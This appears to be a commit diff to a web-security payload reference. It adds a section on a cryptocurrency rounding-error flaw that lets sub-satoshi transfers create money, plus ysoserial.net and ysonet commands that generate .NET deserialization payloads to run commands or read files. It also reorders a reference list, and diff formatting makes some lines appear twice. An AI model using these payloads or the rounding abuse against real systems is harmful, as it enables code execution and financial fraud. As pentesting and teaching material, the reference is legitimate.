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Rounding Errors

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14
Business Logic Errors/README.md
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@ -13,6 +13,7 @@
* [Refund Feature Exploitation](#refund-feature-exploitation)
* [Cart/Wishlist Exploitation](#cartwishlist-exploitation)
* [Thread Comment Testing](#thread-comment-testing)
* [Rounding Error](#rounding-error)
* [References](#references)
## Methodology
@ -73,6 +74,19 @@ Common examples of Business Logic Errors.
* If the system allows comments by verified or privileged users, try to mimic these parameters and see if you can comment as well.
* Attempt to post comments impersonating other users.
### Rounding Error
The report [hackerone #176461](https://web.archive.org/web/20170303191338/https://hackerone.com/reports/176461) describes a business logic flaw in a cryptocurrency platform (using XBT/Bitcoin), where an attacker exploits a rounding error in the internal transfer system to generate money out of nothing.
The attacker initiate a transfer of 0.000000005 XBT (0.5 satoshi), this is below the system's minimum precision which is 1 satoshi minimum.
* Sender's balance doesn't change. The algorithm might be rounded down to 0 satoshi.
* Receiver's balance increases by 1 satoshi (0.00000001). The algorithm might be rounding up to 1 satoshi.
The attacker generated 0.00000001 XBT from nothing, since there's no rate limit, OTP, or fraud detection, the attacker can automate this process and repeat it infinitely, effectively printing money.
In this example, instead of rounding and rejecting or enforcing a minimum transfer, it ignores the deduction from the sender and credits the receiver.
## References
* [Business Logic Vulnerabilities - PortSwigger - 2024](https://portswigger.net/web-security/logic-flaws)

23
Insecure Deserialization/DotNET.md
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@ -28,14 +28,23 @@ Example: `AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0u[...]0KPC9PYmpzPgs=`
## Tools
* [pwntester/ysoserial.net - Deserialization payload generator for a variety of .NET formatters](https://github.com/pwntester/ysoserial.net)
* [pwntester/ysoserial.net](https://github.com/pwntester/ysoserial.net) - Deserialization payload generator for a variety of .NET formatters
```ps1
cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s
./ysoserial.exe -p DotNetNuke -m read_file -f win.ini
./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
```
```ps1
cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s
./ysoserial.exe -p DotNetNuke -m read_file -f win.ini
./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
```
* [irsdl/ysonet](https://github.com/irsdl/ysonet) - Deserialization payload generator for a variety of .NET formatters
```ps1
cat my_long_cmd.txt | ysonet.exe -o raw -g WindowsIdentity -f Json.Net -s
./ysonet.exe -p DotNetNuke -m read_file -f win.ini
./ysonet.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
./ysonet.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
```
## Formatters

9
Insecure Randomness/README.md
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@ -199,10 +199,11 @@ Generic identification and sandwich attack:
## References
* [In GUID We Trust - Daniel Thatcher - October 11, 2022](https://www.intruder.io/research/in-guid-we-trust)
* [Breaking PHP's mt_rand() with 2 values and no bruteforce - Charles Fol - January 6, 2020](https://www.ambionics.io/blog/php-mt-rand-prediction)
* [Cracking Time-Based Tokens: A Glimpse from a Workshop During leHACK 2025-Singularity - 4m1d0n - June 30, 2025](https://4m1d0n.github.io/retex-insecure-time-token-sandwich-attack/)
* [Exploiting Weak Pseudo-Random Number Generation in PHP’s rand and srand Functions - Jacob Moore - October 18, 2023](https://medium.com/@moorejacob2017/exploiting-weak-pseudo-random-number-generation-in-phps-rand-and-srand-functions-445229b83e01)
* [IDOR through MongoDB Object IDs Prediction - Amey Anekar - August 25, 2020](https://techkranti.com/idor-through-mongodb-object-ids-prediction/)
* [In GUID We Trust - Daniel Thatcher - October 11, 2022](https://www.intruder.io/research/in-guid-we-trust)
* [Multi-sandwich attack with MongoDB Object ID or the scenario for real-time monitoring of web application invitations: a new use case for the sandwich attack - Tom CHAMBARETAUD (@AethliosIK) - July 18, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/multi-sandwich-article-en.html)
* [Secret basé sur le temps non sécurisé et attaque par sandwich - Analyse de mes recherches et publication de l’outil “Reset Tolkien” - Tom CHAMBARETAUD (@AethliosIK) - April 2, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/secret-time-based-article-fr.html) *(FR)*
* [Unsecure time-based secret and Sandwich Attack - Analysis of my research and release of the “Reset Tolkien” tool - Tom CHAMBARETAUD (@AethliosIK) - April 2, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/secret-time-based-article-en.html) *(EN)*
* [Multi-sandwich attack with MongoDB Object ID or the scenario for real-time monitoring of web application invitations: a new use case for the sandwich attack - Tom CHAMBARETAUD (@AethliosIK) - July 18, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/multi-sandwich-article-en.html)
* [Exploiting Weak Pseudo-Random Number Generation in PHP’s rand and srand Functions - Jacob Moore - October 18, 2023](https://medium.com/@moorejacob2017/exploiting-weak-pseudo-random-number-generation-in-phps-rand-and-srand-functions-445229b83e01)
* [Breaking PHP's mt_rand() with 2 values and no bruteforce - Charles Fol - January 6, 2020](https://www.ambionics.io/blog/php-mt-rand-prediction)